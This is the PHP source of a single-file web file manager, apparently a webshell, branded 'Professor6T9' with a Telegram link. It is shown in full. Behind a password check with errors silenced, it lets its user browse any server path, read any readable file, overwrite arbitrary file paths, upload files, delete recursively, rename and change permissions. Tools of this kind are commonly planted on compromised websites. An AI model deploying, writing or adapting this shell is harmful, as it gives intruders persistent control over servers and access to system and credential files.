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Filename : admin.php
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<?php
error_reporting(0);
session_start();

// --- Logout Handling ---
if (isset($_GET['logout'])) {
    $_SESSION = [];
    session_destroy();
    header('Location: ' . strtok($_SERVER["REQUEST_URI"], '?'));
    exit;
}

// --- Login Handling ---
$p = "89029e2d3f77b399fbbad3776f225b1f"; // md5(md5(md5('password')))
if (isset($_POST['password']) && md5(md5(md5($_POST['password']))) === $p) {
    $_SESSION['logged_in'] = 1;
    header('Location: ' . strtok($_SERVER["REQUEST_URI"], '?'));
    exit;
}

// --- Gatekeeper: If not logged in, show login form and exit ---
// [MODIFIED] 使用了第一个脚本中的 Tailwind CSS 登录页面
if (empty($_SESSION['logged_in'])) {
    echo '<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Login</title><script src="https://cdn.tailwindcss.com"></script></head><body class="bg-gray-100 flex items-center justify-center h-screen"><div class="bg-white p-8 rounded-lg shadow-md w-full max-w-sm"><h1 class="text-2xl font-bold mb-6 text-center">Login</h1><form method="post" class="space-y-4"><input type="password" name="password" placeholder="Password" class="w-full p-2 border rounded" autofocus required><button class="w-full bg-blue-500 text-white p-2 rounded hover:bg-blue-600">Login</button></form></div></body></html>';
    exit;
}

// --- 以下是第二个脚本原有的全部功能代码，未做任何改变 ---

// --- ROBUST PATH HANDLING (FINAL FIX) ---
$home = $_SERVER['HOME'] ?? '/';
$path = getcwd(); // Default to current directory
if (isset($_GET['path'])) {
    $temp_path = $_GET['path'];
    // Normalize path and prevent directory traversal
    $temp_path = str_replace('\\', '/', $temp_path);
    $parts = explode('/', $temp_path);
    $safe_parts = [];
    foreach ($parts as $part) {
        if ($part === '.' || $part === '') continue;
        if ($part === '..') {
            if (!empty($safe_parts)) {
                array_pop($safe_parts);
            }
        } else {
            $safe_parts[] = $part;
        }
    }
    // Determine if it's an absolute path
    $is_absolute = (strpos($_GET['path'], '/') === 0 || preg_match('/^[a-zA-Z]:\\\\/', $_GET['path']));
    $prefix = $is_absolute ? '/' : '';
    $temp_path = $prefix . implode('/', $safe_parts);

    if (is_dir($temp_path) && is_readable($temp_path)) {
        $path = $temp_path;
    }
}
$path = rtrim(str_replace('\\', '/', $path), '/');
if (empty($path)) $path = '/';

$uploadSuccess = false;
$uploadMessage = '';
$currentYear = date("Y");

function h($str) { return htmlspecialchars($str, ENT_QUOTES); }

function delete_dir($dirPath) {
    if (!is_dir($dirPath)) return;
    if (substr($dirPath, -1) != '/') $dirPath .= '/';
    $files = glob($dirPath . '*', GLOB_MARK);
    foreach ($files as $file) {
        if (is_dir($file)) delete_dir($file);
        else unlink($file);
    }
    @rmdir($dirPath);
}

// Handle POST Actions
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $action = $_POST['action'] ?? '';

    if (isset($_FILES['upload'])) {
        $total_files = count($_FILES['upload']['name']);
        $uploaded_count = 0;
        for ($i = 0; $i < $total_files; $i++) {
            if ($_FILES['upload']['error'][$i] == UPLOAD_ERR_OK) {
                $dest = $path . '/' . basename($_FILES['upload']['name'][$i]);
                if (move_uploaded_file($_FILES['upload']['tmp_name'][$i], $dest)) {
                    $uploaded_count++;
                }
            }
        }
        if ($uploaded_count > 0) {
            $uploadSuccess = true;
            $uploadMessage = "✅ {$uploaded_count} file(s) uploaded successfully!";
        }
    }
    elseif ($action === 'batch_delete' && !empty($_POST['selected_items'])) {
        foreach ($_POST['selected_items'] as $item) {
            $target = $path . '/' . basename($item);
            if (file_exists($target)) {
                if (is_dir($target)) delete_dir($target);
                else unlink($target);
            }
        }
    }
    elseif ($action === 'chmod' && isset($_POST['file'], $_POST['perms'])) {
        chmod($path . '/' . basename($_POST['file']), intval($_POST['perms'], 8));
    }
    elseif ($action === 'save_edit' && isset($_POST['file_path'], $_POST['content'])) {
        file_put_contents($_POST['file_path'], $_POST['content']);
        header("Location: ?path=" . urlencode(dirname($_POST['file_path'])));
        exit;
    }
    elseif ($action === 'rename' && isset($_POST['old_name'], $_POST['new_name'])) {
        rename($path . '/' . basename($_POST['old_name']), $path . '/' . basename($_POST['new_name']));
    }

    if ($action !== 'save_edit') {
        header("Location: ?path=" . urlencode($path));
        exit;
    }
}

// Handle GET Actions
if (isset($_GET['action'])) {
    $action = $_GET['action'];
    if ($action === 'get_content' && isset($_GET['file'])) {
        $file_path = $_GET['file'];
        if (is_file($file_path) && is_readable($file_path)) {
            echo h(file_get_contents($file_path));
        } else {
            echo "Error: Cannot read file.";
        }
        exit;
    }
    if ($action === 'delete' && isset($_GET['item'])) {
        $target = $path . '/' . basename($_GET['item']);
        if (file_exists($target)) {
            if (is_dir($target)) delete_dir($target);
            else unlink($target);
        }
        header("Location: ?path=" . urlencode($path));
        exit;
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>📁</title>
    <style>
        body { background: #111; color: #eee; font-family: monospace; padding: 20px; }
        a { color: #6cf; text-decoration: none; }
        a:hover { text-decoration: underline; }
        table { width: 100%; border-collapse: collapse; margin-top: 15px; background: #1c1c1c; }
        th, td { padding: 8px; border: 1px solid #333; text-align: left; word-break: break-all; }
        th { background: #2a2a2a; }
        input, button, textarea {
            background: #222; color: #eee; border: 1px solid #444; padding: 5px;
            border-radius: 4px; font-family: monospace;
        }
        button { background: #6cf; color: #000; font-weight: bold; cursor: pointer; }
        button.danger { background: #f66; color: #fff; }
        .breadcrumb a { color: #ccc; margin-right: 5px; }
        .breadcrumb span { color: #888; margin: 0 4px; }
        .card { background: #1c1c1c; padding: 15px; border-radius: 8px; box-shadow: 0 0 10px #000; margin-top: 20px; }
        footer { text-align: center; margin-top: 40px; color: #666; font-size: 0.9em; }
        .modal { display: none; position: fixed; z-index: 1000; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgba(0,0,0,0.7); }
        .modal-content { background-color: #1c1c1c; margin: 5% auto; padding: 20px; border: 1px solid #444; width: 80%; max-width: 800px; border-radius: 8px; display: flex; flex-direction: column; height: 80vh; }
        .modal-header { padding-bottom: 10px; border-bottom: 1px solid #333; }
        .modal-body { flex-grow: 1; margin: 10px 0; display: flex; flex-direction: column; }
        .modal-body textarea { width: 100%; flex-grow: 1; resize: none; }
        .modal-footer { padding-top: 10px; border-top: 1px solid #333; text-align: right; }
        .close { color: #aaa; float: right; font-size: 28px; font-weight: bold; }
        .close:hover, .close:focus { color: #fff; text-decoration: none; cursor: pointer; }
    </style>
    <?php if ($uploadSuccess): ?>
    <script>alert("<?= $uploadMessage ?>");</script>
    <?php endif; ?>
</head>
<body>

<div style="display: flex; justify-content: space-between; align-items: center;">
    <h2>📁 File Manager By Professor6T9</h2>
    <a href="?logout=1" style="color: #f66; font-size: 0.9em;">Logout</a>
</div>

<form method="get">
    <label>📂 Change Directory:</label>
    <input type="text" name="path" value="<?= h($path) ?>" style="width:60%;">
    <button type="submit">Go</button>
</form>

<div class="breadcrumb">
    <?php
    $crumbs = explode('/', trim($path, '/'));
    $accum = '';
    echo '<a href="?path=/">/</a>';
    if ($path !== '/') {
        foreach ($crumbs as $crumb) {
            if (empty($crumb)) continue;
            $accum .= '/' . $crumb;
            echo '<span>/</span><a href="?path=' . urlencode($accum) . '">' . h($crumb) . '</a>';
        }
    }
    echo '<span>/</span><a href="?path=' . urlencode($home) . '">[ HOME ]</a>';
    ?>
</div>

<?php 
$parent_path = dirname($path);
if ($parent_path !== $path): ?>
<p><a href="?path=<?= urlencode($parent_path) ?>">⬅️ [ PARENT DIR ]</a></p>
<?php endif; ?>

<div class="card">
    <form method="post" enctype="multipart/form-data">
        <input type="file" name="upload[]" required multiple>
        <button type="submit">📤 Upload</button>
    </form>
</div>

<form method="post" id="file-list-form">
<input type="hidden" name="action" value="batch_delete">
<div class="card">
    <div style="margin-bottom: 10px;">
        <button type="submit" class="danger" onclick="return confirm('Are you sure you want to delete all selected items?');">🗑️ Delete Selected</button>
    </div>
    <table>
        <thead>
        <tr>
            <th><input type="checkbox" id="select-all-checkbox"></th>
            <th>Name</th><th>Size (kB)</th><th>Modified</th><th>Perms</th><th>Actions</th>
        </tr>
        </thead>
        <tbody>
        <?php
        $items = @scandir($path);
        if ($items === false) {
             echo '<tr><td colspan="6" style="color: #f66;">Error: Cannot read directory. Check permissions.</td></tr>';
        } else {
            $dirs = $files = [];
            foreach ($items as $item) {
                if ($item === '.' || $item === '..') continue;
                if (@is_dir($path . '/' . $item)) $dirs[] = $item;
                else $files[] = $item;
            }
            $all = array_merge($dirs, $files);

            foreach ($all as $item) {
                $full = ($path === '/' ? '' : $path) . '/' . $item;
                $isDir = is_dir($full);
                $perm = substr(sprintf('%o', @fileperms($full)), -4);
                $mtime = @filemtime($full);
                $size = $isDir ? '-' : round(@filesize($full) / 1024, 2);
                $date = $mtime ? date("Y-m-d H:i:s", $mtime) : '-';

                echo '<tr>';
                echo '<td><input type="checkbox" class="item-checkbox" name="selected_items[]" value="' . h($item) . '"></td>';
                echo '<td>';
                echo $isDir ? '<a href="?path=' . urlencode($full) . '">📁 ' . h($item) . '</a>' : '📄 ' . h($item);
                echo '</td>';
                echo "<td>$size</td><td>$date</td>";
                
                echo '<td>
                        <input type="text" id="perms-input-' . h($item) . '" value="' . $perm . '" size="4" style="text-align:center;">
                        <button type="button" onclick="setChmod(\'' . h($item) . '\')">Set</button>
                      </td>';

                echo '<td>';
                echo '<a href="javascript:void(0)" onclick="openRenameModal(\'' . h($item) . '\')">✏️ Rename</a> | ';
                echo '<a href="?action=delete&path=' . urlencode($path) . '&item=' . urlencode($item) . '" onclick="return confirm(\'Delete this item?\')">🗑️</a>';
                if (!$isDir) {
                    echo ' | <a href="javascript:void(0)" onclick="openEditModal(\'' . h($full) . '\')">📝 Edit</a>';
                    echo ' | <a href="' . h($item) . '" download>⬇️ Download</a>';
                }
                echo '</td></tr>';
            }
        }
        ?>
        </tbody>
    </table>
</div>
</form>

<footer>© <?= $currentYear ?> | File Manager by <a href="http://t.me/Professor6T9" target="_blank">@Professor6T9</a></footer>

<!-- Hidden form for chmod to avoid nesting -->
<form method="POST" id="chmod-form" style="display:none;">
    <input type="hidden" name="action" value="chmod">
    <input type="hidden" id="chmod_file_hidden" name="file">
    <input type="hidden" id="chmod_perms_hidden" name="perms">
</form>

<!-- Modals -->
<div id="editModal" class="modal">
  <div class="modal-content">
    <div class="modal-header">
      <span class="close" onclick="closeModal('editModal')">×</span>
      <h3>Edit File</h3>
    </div>
    <form method="POST" class="modal-body">
        <input type="hidden" name="action" value="save_edit">
        <input type="hidden" id="edit_file_path" name="file_path">
        <textarea id="edit_content" name="content"></textarea>
        <div class="modal-footer">
            <button type="submit">💾 Save</button>
        </div>
    </form>
  </div>
</div>

<div id="renameModal" class="modal">
  <div class="modal-content" style="height: auto;">
    <div class="modal-header"><span class="close" onclick="closeModal('renameModal')">×</span><h3>Rename Item</h3></div>
    <form method="POST" class="modal-body">
        <input type="hidden" name="action" value="rename">
        <input type="hidden" id="rename_old_name" name="old_name">
        <label>New Name:</label>
        <input type="text" id="rename_new_name" name="new_name" style="width: 100%;">
        <div class="modal-footer"><button type="submit">✏️ Rename</button></div>
    </form>
  </div>
</div>

<script>
function closeModal(id) {
    document.getElementById(id).style.display = 'none';
}

function openEditModal(filePath) {
    const modal = document.getElementById('editModal');
    const contentArea = document.getElementById('edit_content');
    document.getElementById('edit_file_path').value = filePath;
    contentArea.value = 'Loading content...';
    modal.style.display = 'block';

    fetch(`?action=get_content&file=${encodeURIComponent(filePath)}`)
        .then(response => response.text())
        .then(data => { contentArea.value = data; })
        .catch(error => { contentArea.value = 'Error loading file content: ' + error; });
}

function openRenameModal(oldName) {
    document.getElementById('rename_old_name').value = oldName;
    document.getElementById('rename_new_name').value = oldName;
    document.getElementById('renameModal').style.display = 'block';
    document.getElementById('rename_new_name').focus();
}

function setChmod(fileName) {
    const permsValue = document.getElementById('perms-input-' + fileName).value;
    document.getElementById('chmod_file_hidden').value = fileName;
    document.getElementById('chmod_perms_hidden').value = permsValue;
    document.getElementById('chmod-form').submit();
}

document.addEventListener('DOMContentLoaded', function() {
    const selectAllCheckbox = document.getElementById('select-all-checkbox');
    if (selectAllCheckbox) {
        selectAllCheckbox.addEventListener('change', function() {
            const itemCheckboxes = document.querySelectorAll('.item-checkbox');
            itemCheckboxes.forEach(checkbox => { checkbox.checked = this.checked; });
        });
    }
    window.onclick = function(event) {
        if (event.target.classList.contains('modal')) {
            event.target.style.display = "none";
        }
    }
});
</script>

</body>
</html>